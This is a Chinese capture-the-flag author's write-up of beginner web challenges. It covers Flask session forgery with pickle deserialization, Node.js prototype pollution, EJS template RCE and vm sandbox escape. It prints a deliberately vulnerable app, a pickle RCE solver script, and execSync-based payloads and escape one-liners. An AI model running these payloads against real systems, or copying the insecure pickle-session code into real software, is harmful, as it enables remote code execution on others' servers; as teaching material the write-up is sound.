HCTF2025新生赛出题总结

LoginDemo

题目介绍

1
2
3
matrix写了一个登录界面,但是大意的他留下了很多敏感的东西,该如何信息收集呢

**题目容器开启后,若显示连接失败,请刷新网页,不需要重新开启容器**

本题考点:

  • 常见信息收集之目录扫描
  • pickle反序列化
  • session伪造

模拟情景:泄露登录逻辑以及采用的不安全的认证机制(pickle),导致的任意代码执行

题目评析:

包含session伪造考点,用于引导学习flask中的session机制,及常见的key泄露方法:包括但不限于文件读取(/proc/self/environ或者/proc/1/environ)、源码泄露(app.py或者config.py等)、暴力破解、内存窃取……为后续学习flask安全问题提供入手点

包含pickle考点,用于引导学习pickle反序列化机制、pickle反序列化漏洞成因,为后续学习pickle VM、find_class绕过、pickle opcode提供入手点

dirsearch目录遍历,发现/robots.txt

image-20250821163433996

访问/robots.txt,发现可疑目录

1
2
3
User-agent: *
Disallow: /SourceOfWebsite
Disallow: /admin

访问/admin,发现Not Found(骗你的,根本没有admin目录,这只是一个demo

访问/SourceOfWebsite,给源码了

这里解释一下为什么要设置/admin路由:

第一,这是demo,是一个login演示示例,功能是不完善的,我根本没写admin页面

第二,骗ai,如果只是复制了给ai看,做搬运工,ai会给你喝一壶的,你需要分辨ai说的是否正确、是否有用。

注意,这里并不是故意设置障碍,你有无数种方法避开admin思路:

  • 如果你了解了robots.txt,然后尝试访问/admin,会发现根本不存在,动手就可以排除
  • 如果你用dirsearch,了解目录扫描这个东西,那你会发现dirseach根本没扫出/admin,但是这种工具一定会扫描这种常规路由,没扫出来,说明肯定没有
  • 而且,实际上/SourceOfWebsite给了这个网站的代码,如果你不懂,可以让ai解释,他会发现根本没写admin路由。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from flask import Flask, request, render_template, redirect, session, url_for, send_file
import sqlite3
import os
from binascii import a2b_base64, b2a_base64
import pickle

DATABASE = 'db.sqlite3'

def get_db():
conn = sqlite3.connect(DATABASE)
conn.row_factory = sqlite3.Row
return conn


def init_db():
if not os.path.exists(DATABASE):
conn = get_db()
cur = conn.cursor()
cur.execute('CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT UNIQUE, password TEXT)')
conn.commit()
conn.close()

# init_db()

class User:
def __init__(self, username, password, signature=None):
self.username = username
self.password = password
self.signature = signature or "这个人很懒,什么都没有写。"

app = Flask(__name__)
app.secret_key = "immatrix"
@app.route('/')
def index():
if 'user' in session:
return redirect(url_for('center'))
return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
username = request.form.get('username')
password = request.form.get('password')
if not username or not password:
return render_template('index.html', reg_error="请填写用户名和密码", login_error=None)
conn = get_db()
cur = conn.cursor()
cur.execute("SELECT * FROM users WHERE username = ?", (username,))
if cur.fetchone():
conn.close()
return render_template('index.html', reg_error="用户名已存在", login_error=None)
cur.execute("INSERT INTO users (username, password) VALUES (?, ?)", (username, password))
conn.commit()
conn.close()
# 注册后自动登录,存储序列化User对象到session
user_obj = User(username, password)
session['user'] = b2a_base64(pickle.dumps(user_obj)).decode()
return redirect(url_for('center'))

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
username = request.form.get('username')
password = request.form.get('password')
if not username or not password:
return render_template('login.html', login_error="请填写用户名和密码")
conn = get_db()
cur = conn.cursor()
cur.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password))
row = cur.fetchone()
conn.close()
if row:
user_obj = User(username, password)
session['user'] = b2a_base64(pickle.dumps(user_obj)).decode()
return redirect(url_for('center'))
else:
return render_template('login.html', login_error="用户名或密码错误", reg_error=None)

@app.route('/logout')
def logout():
session.clear()
return redirect(url_for('index'))
@app.route('/center', methods=['GET', 'POST'])
def center():

user_data = session.get('user')
if not user_data:
return redirect(url_for('index'))
# else:
# data = a2b_base64(user_data)
# result = pickle.loads(data)
# return result
try:
user_obj = pickle.loads(a2b_base64(user_data))
# 只显示用户信息,不再处理个性签名修改
if user_obj is None:
return 'User is null. Check your session.'
return render_template('center.html', username=getattr(user_obj, 'username', '未知用户'), signature=getattr(user_obj, 'signature', user_obj))
except Exception as e:
return f"Exception: {str(e)}"

@app.route('/robots.txt')
def robots():
return send_file('robots.txt')

@app.route('/SourceOfWebsite')
def source():
return send_file('app.py')



# if __name__ == '__main__':
# init_db()
# app.run(host='0.0.0.0', port=8000, debug=False)

源码审计,这里有两个重点

  • 看到pickle要注意,pickle反序列化是机制上的安全问题,可以任意构造对象去反序列化(无过滤的话),因此可以实现任意代码执行
  • app.secret_key = "immatrix",给了session伪造的key,可以session伪造

读懂登录逻辑、了解session结构之后,题目就很清晰了

这里随便注册一个账号

image-20250821164807831

解题脚本如下,(关键点在于把pickle放session的user里,以及pickle反序列化的应用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
"""
作者: matrix
对应题目: LoginDemo

功能说明:
本脚本用于CTF题目LoginDemo的解题,主要包括:
1. 构造pickle反序列化RCE payload并base64编码
2. 生成包含payload的Flask session cookie
"""

# 注意要下载对应的包
import pickle
from binascii import a2b_base64, b2a_base64
from flask import Flask

# 1. 生成 payload
class Rce:
def __reduce__(self):
return (eval, ("__import__('os').popen('cat /flag').read()",))

a = Rce()
payload_b64 = b2a_base64(pickle.dumps(a)).decode().strip()
print(payload_b64)

# 调试payload
# user_obj = pickle.loads(a2b_base64(payload_b64))
# 安全回显各种类型
# if user_obj is None:
# print('User is null.Check your session.')
#
# print(user_obj)
# print(user_obj.username)

# 2. 生成 session cookie
app = Flask(__name__)
app.secret_key = "immatrix"
with app.app_context():
serializer = app.session_interface.get_signing_serializer(app)
session_data = {'user': payload_b64}
print(session_data)
session_cookie = serializer.dumps(session_data)
print('[*] session cookie:', session_cookie)

运行脚本,直接生成session(当然,也可以用工具去session伪造,比如flask-session-cookie-manager)

1
2
3
gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnb3MnKS5wb3BlbignY2F0IC9mbGFnJykucmVhZCgplIWUUpQu
{'user': 'gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnb3MnKS5wb3BlbignY2F0IC9mbGFnJykucmVhZCgplIWUUpQu'}
[*] session cookie: eyJ1c2VyIjoiZ0FTVlJnQUFBQUFBQUFDTUNHSjFhV3gwYVc1emxJd0VaWFpoYkpTVGxJd3FYMTlwYlhCdmNuUmZYeWduYjNNbktTNXdiM0JsYmlnblkyRjBJQzltYkdGbkp5a3VjbVZoWkNncGxJV1VVcFF1In0.aKbchA.6BxgvVzMr9dKvR5dTTjRE68AZuQ

写入session

image-20250821164900039

刷新

image-20250821164920454

污染入门:权限劫持

题目介绍

1
传说中的 JavaScript 世界,vip 权限高高在上,普通用户望尘莫及。但在黑暗的角落,污染隐隐作祟,不安的气息悄然蔓延。你能否发现这条隐秘通道,悄无声息地扩散污染,最终窃取 vip 的权杖,掌控至高无上的权限?

本题考点:

  • 常见信息收集之查看源代码
  • 原型链污染

模拟情景:node.js学习平台开课了,只有VIP才能获取课程兑换码,通过原型链污染劫持VIP,拿到课程兑换码(flag)

题目评析:

了解常见的信息收集方式:右键查看源代码

对原型链污染有一个简单了解,理解原型链污染原理

进去之后是一个Node.js VIP培训课程兑换中心

点击获取课程兑换码

显示:您不是VIP用户。(试试右键——>查看页面源代码,有提示哦!)

image-20250821172307296

右键查看源代码

给了hint

image-20250821172706033

结合题目描述,问AI可以知道是原型链污染,并且已经有提示是污染user.vip

payload:

1
2
3
4
5
{
"__proto__": {
"vip": true
}
}

用burp抓包传参即可

image-20250821173308648

非常入门的题,其实AI可以直接解出来

image-20250821173030528

这道题看着复杂,实际上POST传递一个参数就行。

在本题的设计下,用ai的话是可以直接出payload的,json框架也都写好了,抓包之后看到是json,填上就行,动手难点就在于POST传参了。

因此,这道题是一个套了壳的GET、POST题目。但是直接出常规题太俗了,如果说能与Web安全实际知识点进行结合,或许更有效果。

所以说,懂一点就能做,但是又可以深入学习,为实际知识提供入手点,是本题的出题目标。

我们来讲一下不结合AI是怎么分析的。

对于了解Node.js的同学,应该一看题目:污染,就知道是原型链的问题了,然后看到hint,可以明白是检查user类(实际上没有类,是语法糖)的vip是否为true,进而用payload解出题目。

污染联动:模板魔法

题目介绍

1
污染风暴席卷而来,原型链的暗流与引擎的魔力交织,一切变得扑朔迷离。唯有最敏锐的黑客,才能在这复杂联动中寻觅突破口。你的任务不仅是蔓延污染,还需巧妙利用模板引擎的奥秘,触发隐藏的漏洞,让污染的力量无限放大!

本题考点:

  • 常见信息收集之查看源代码
  • 原型链污染、命令执行
  • 模板引擎触发

模拟情景:node.js开课成功,因此开放了课程评价中心,评价内容实时渲染。再次利用原型链污染,通过ejs模板引擎触发,实现任意代码执行。

题目评析:

了解常见的信息收集方式:右键查看源代码、查找开源项目代码。

深入理解原型链污染原理,掌握原型链污染实现任意代码执行的方法

调试ejs模板引擎,掌握模板引擎链的调试方法,对原型链污染的触发有更深刻的体会

作为第二轮的防AK题,本题是”污染“系列难度之最,极其考验选手的信息收集能力,尤其强调代码审计能力及调试能力。

承接该系列背景,是一个课程评价网站。看题目应该知道还是原型链污染。

image-20250821174024668

依旧右键查看源代码

image-20250821174140961

发现一个关键点:npm install body-parser@^1.20.2 ejs@^3.1.9 express@^4.18.2,这是用npm下载本题依赖的命令。

这里其实有两个关键词:第一个原型链污染,这个不用提了,是本系列题目的主旨;第二个是模板引擎,这个结合题目以及题目描述,很多同学都能总结出来。

但是很多同学看到模板引擎以为是SSTI,忽略了结合这两个关键词。

其实搜这两个关键词就能给出大致的思路,就是ejs模板引擎触发原型链污染。

payload如下:

1
2
3
4
5
6
7
8
{
"__proto__":{
"client":true,
"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');",
"compileDebug":true
},
"msg": "111"
}

然后抓包看一下,发现不是json传输

image-20250821174909708

所以细节在于需要改Content-Type为json,然后用json格式传payload

image-20250819204623979

大家要是真正理解第一题”污染入门“,就知道原型链污染本身是不能命令执行的,仅仅是改变了属性的值;如果要命令执行,还需要去触发,也就是执行污染过后的值。

结合题目描述,要是了解过原型链污染常见利用手法,会自然的想到模板引擎触发原型链污染,然后可以去网上搜payload。找payload这一步比较困难,需要多信息收集、多尝试。

当然这里给了ejs版本,你可以自己部署,结合网上的文章去调试。**不是只有直接给源代码才叫白盒,用了开源组件也是白盒。**因为直接给了npm下载安装的命令,结合一下ai,写个merge函数就可以跑本地。

我们来解释上面payload,其实就是实现了:

client污染为true

escapeFunction污染为1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');,这是一个代码执行,本质就是通过代码执行cat /flag命令;

compileDebug污染为true

本题代码:sangnigege/PrototypePollutionLab: PrototypePollutionLab 是一个开源的原型链污染漏洞靶场,它收录了HCTF2025中一系列CTF题目、源码及Docker环境,旨在帮助用户学习和复现相关漏洞。

然后我们深入一下原理,看看模板引擎是怎么触发我们的原型链污染的。需要本地跑一下这个题的代码,这里是用VScode配合Node.js进行调试。

我们在渲染处下断点,也就是在 res.render('review', renderCtx);下断点,

image-20250818201946965

然后触发渲染:这里用bp传payload即可触发

payload改成了弹计算器1; return global.process.mainModule.constructor._load('child_process').execSync('calc');

image-20250818202242117

会在断点处停下,也就是res.render处停下

image-20250818202208064

按F11或者调试窗口的单步调试,进入response.js模块,

Express 的 res对象是由 response.js 定义和扩展的,render 方法最终会调用模板引擎(如 ejs)进行页面渲染。

image-20250818192133071

继续单步调试,审计本题源代码可以发现,merge函数(原型链污染处)在res.render渲染之前,所以merge函数在断点之前就已经执行,也就是说res.render中opts这里传递的是污染成功的prototype

image-20250818202433183

继续往下,

response.js中,将污染后的opts传给了app.render模块,

image-20250818203935363

我们继续跟进,找到能调用escapeFunction的地方

接下来进入applicattion.js,然后一直调试,直到找到tryRender模块(也可以下个断点直接过来,这个调试技巧下面经常用到),这里也是来调用ejs模块进行渲染,

发现前面污染的opts传给了renderOptions

image-20250818210506853

跟进tryRender,然后在tryRender中跟进view.render方法,options显然是被原型链污染了

image-20250818210733620

继续调试,进入view.js,我们就发现了engine引擎这个关键字,

image-20250818211206766

然后进入this.engine里面,就最终进入到了ejs.js的模块当中,调用ejs.js的入口函数renderFile,renderFile函数最后return tryHandleCache,直接加断点跳过来

image-20250818211700809

我们跟进tryHandleCache函数,进入handleCache函数中

image-20250818211939095

在handleCache模块当中我们看到exports.compile模块,可以看到我们要渲染的index.ejs被渲染到compile函数当中,options是被污染的

image-20250818213603634

继续跟进compile函数,函数在最后renturn templ.compile()

image-20250818213733507

继续跟进,然后我们就进入到了模板引擎调用的部分,

往下找一找,会发现有大量的渲染拼接(有很多别的触发方法,我们这里只讲escapeFunction)

发现这里有两个if要过,所以将client污染为true、将compileDebug污染为true

image-20250818214722230

下断点跳到这里看看,可以看到src的值里面成功注入了我们的恶意代码

image-20250818215120082

1
2
`escapeFn = escapeFn || 1; return global.process.mainModule.constructor._load('child_process').execSync('calc');;\nvar __line = 1\n  , __lines = "<!DOCTYPE html>\\r\\n<html lang=\\"zh\\">\\r\\n<head>\\r\\n    <meta charset=\\"UTF-8\\">\\r\\n    <title>Node.js VIP课程评价中心 - 学员留言专区</title>\\r\\n    <style>\\r\\n        html, body { height: 100%; }\\r\\n        body {\\r\\n            font-family: 'Segoe UI', '微软雅黑', Arial, sans-serif;\\r\\n            background: linear-gradient(120deg,#e0eafc 0%,#cfdef3 100%);\\r\\n        … __append(escapeFn( item ))\n    ; __append("</div>\\r\\n                <div class=\\"review-item\\">")\n    ; __line = 80\n    ; __append( item )\n    ; __append("</div>\\r\\n\\r\\n            ")\n    ; __line = 82\n    ;  }) \n    ; __append("\\r\\n        </div>\\r\\n    </div>\\r\\n    <div class=\\"footer\\">© 2025 IT Training Node.js课程中心 | 商业合作请联系:it-training@example.com</div>\\r\\n</body>\\r\\n</html>")\n    ; __line = 87\n  }\n  return __output;\n} catch (e) {\n  rethrow(e, __lines, __filename, __line, escapeFn);\n}\n`

稍稍整理一下,容易看一些

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
escapeFn = escapeFn || 1; return global.process.mainModule.constructor._load('child_process').execSync('calc');;
var __line = 1
, __lines = "<!DOCTYPE html>\\r\\n<html lang=\\"zh\\">\\r\\n<head>\\r\\n <meta charset=\\"UTF-8\\">\\r\\n <title>Node.js VIP课程评价中心 - 学员留言专区</title>\\r\\n <style>\\r\\n html, body { height: 100%; }\\r\\n body {\\r\\n font-family: 'Segoe UI', '微软雅黑', Arial, sans-serif;\\r\\n background: linear-gradient(120deg,#e0eafc 0%,#cfdef3 100%);\\r\\n … __append(escapeFn( item ))
; __append("</div>\\r\\n <div class=\\"review-item\\">")
; __line = 80
; __append( item )
; __append("</div>\\r\\n\\r\\n ")
; __line = 82
; })
; __append("\\r\\n </div>\\r\\n </div>\\r\\n <div class=\\"footer\\">© 2025 IT Training Node.js课程中心 | 商业合作请联系:it-training@example.com</div>\\r\\n</body>\\r\\n</html>")
; __line = 87
}
return __output;
} catch (e) {
rethrow(e, __lines, __filename, __line, escapeFn);
}

上面其实是编译成的 JavaScript 代码,我们恶意代码包含其中。

这里我们提一下ejs渲染的大致流程:

.ejs模板 → 被EJS编译成一大段 JavaScript 代码 → 构造一个大JS函数(渲染函数)→ 执行渲染函数,输出HTML

注意,上面一大串代码还会继续补充完整,然后再用 FunctionAsyncFunction 将其构造成渲染函数。如果要了解渲染函数的具体构造过程,可以继续往下审计代码,发现最后returnedFn 会调用 fn.apply(...),而 fn 就是你模板编译出来的 大JS 函数(包含所有模板和 escapeFn 的调用)。当然,具体细节这里无关紧要,懂得大致流程就行。

目前我们的恶意代码是插入了编译成的 JavaScript 代码中,进一步这个恶意代码会污染渲染函数中的一个“工具函数”——escapeFn

可以简单理解为:我们插入的恶意代码,最终会成为大函数的一部分(即大函数中的一个小函数),然后这个大函数会被执行,因此我们的恶意代码自然也会被执行(即大函数里面会调用我们这个小函数)。

成功注入的代码片段为:

1
2
escapeFn = escapeFn || 1; 
return global.process.mainModule.constructor._load('child_process').execSync('calc');
  • 当模板调用 <%- item %> 时,会调用 escapeFn(item)
  • 由于原型污染,escapeFn变成了你的恶意函数体,导致执行了 execSync('calc'),本地应该会弹计算器。

整个过程看着复杂,其实一直在跟着污染之后的代码走,把握这个主线,再有一些调试技巧即可。

污染终极:越狱之路

题目介绍

1
污染之力在握,vip权杖仍可窃取,代码亦可随心执行。然而,一切皆是虚妄,沙箱的牢笼坚不可摧,将你的野心死死束缚。真正的高手绝不止步于此——你能否冲破沙箱的重重壁垒,成功越狱,彻底掌控整台服务器?终极挑战,等你来战!

本题考点:

  • 常见信息收集之查看源代码
  • 原型链污染绕过
  • node.js内置模块vm之沙箱逃逸

模拟情景:node.js学习平台开课之后,还提供了一个代码练习平台(光教不练怎么能行)。依然是VIP才能练习,在有过滤的情况下,原型链污染劫持VIP,进入代码练习平台。可以做到任意代码执行,但是做不到任意命令执行(代码练习平台有沙箱,实际调用了node.js内置模块vm),沙箱逃逸从而命令执行

题目评析:

了解常见的信息收集方式:右键查看源代码

原型链污染常见的过滤与绕过

了解node.js内置模块vm的沙箱机制,从多角度学习vm沙箱逃逸手法,为后续学习vm2沙箱逃逸提供入手点。

承接该系列背景,是一个代码练习平台

image-20250821180619443

点击在线练习代码

image-20250821181508669

依旧右键查看源代码(hint似乎说的稀里糊涂的,不要急,继续往下

image-20250821181543503

但是看来和污染入门:权限劫持这一题一样,都是劫持VIP。不管了,试试污染入门:权限劫持的payload

回显false

image-20250821181806812

这里可以burp放包,会有弹窗

image-20250821181934482

而且回显

image-20250821182001650

这时再结合题目hint,知道应该是过滤了__proto__

这里用一种别的方式污染,payload:

1
2
3
4
5
6
7
{
"constructor": {
"prototype": {
"vip": true
}
}
}

抓包传payload即可

image-20250819035448764

再点击在线练习代码,成功进入代码练习平台

发现可以任意代码执行

image-20250821182252345

但是不能做到任意命令执行(代码练习平台肯定有一定防护

这道题的难点就在于要结合题目描述,知道是沙箱逃逸(题目名称有“越狱”、题目介绍有“沙箱”

这里用的是node.js内置模块vm,早被打烂了,逃逸方法有很多,列举部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 经典 Function 构造器链:通过 this.constructor.constructor 获得 Function 构造器,进而访问 Node.js 内部对象
console.log(this.constructor.constructor('return process')().mainModule.require("child_process").execSync("cat /flag").toString())

// 构造器链变种:在获得 Function 构造器后,枚举其属性,判断是否有 execSync,若有则执行命令
console.log(Object.getOwnPropertyNames(this.constructor.constructor('return process')().mainModule.require("child_process")).includes('execSync') ? this.constructor.constructor('return process')().mainModule.require("child_process").execSync("cat /flag").toString() : 'fail')

// Proxy+caller 构造器链:通过 arguments.callee.caller 获取调用者,再通过其构造器获得 Function 构造器,进而执行命令
throw new Proxy({}, {
get: function() {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('cat /flag').toString()
}
})

// Error.prepareStackTrace链:通过堆栈对象中的 getThis 方法,获取构造器链,最终获得 Function 构造器并执行命令
Error.prepareStackTrace = (_, stack) => stack;
var err = new Error();
var stack = err.stack;
console.log(stack[0].getThis().constructor.constructor('return process')().mainModule.require("child_process").execSync("cat /flag").toString())

获得flag

image-20250819035527733

原理网上有很多文章,搜”vm沙箱逃逸“即可,ai也能讲。

回头再看,污染系列还是出的还是比较用心的,每一题也尽量让大家学到东西,比赛没做出来不要紧,以学习为主。

污染入门:权限劫持,一个套了原型链污染壳的POST传参题,不至于太俗,又可以从一个较为简单的难度入手原型链污染;

污染联动:模板魔法,强化了原型链污染后需要触发利用的意识,并且练习了通过原型链污染命令执行的手法,ejs模板引擎是Node最常用的引擎之一,通过深入调试ejs模板引擎,了解原型链污染的实际场景。

污染终极:越狱之路,简单提了一下原型链污染的绕过技术,然后用到了node内置模块vm的沙箱逃逸,从而把整套题目向node安全进行拓展。

关键的是尽可能情景化,都是对网站实际的功能点进行漏洞利用,尽可能让大家体会到web安全相对真实的场景。第一道是一个鉴权,验证是否是VIP;第二道是评论功能,并且变相的给了源码;第三道是有过滤的鉴权(可以说这里上了一点攻防),鉴权之后有一个代码练习的功能。

考虑到新生赛,所以没出啥新奇东西,整套题的提示也挺明显(大致方向都给了),漏洞利用技巧也很常见(各种文章网上有很多),主要是在知识点上难为大家,而不是对脑洞。比较中正平和,还是那句话,力求让大家学到东西。


HCTF2025新生赛出题总结
http://example.com/2026/test34/
作者
sangnigege
发布于
2026年4月15日
许可协议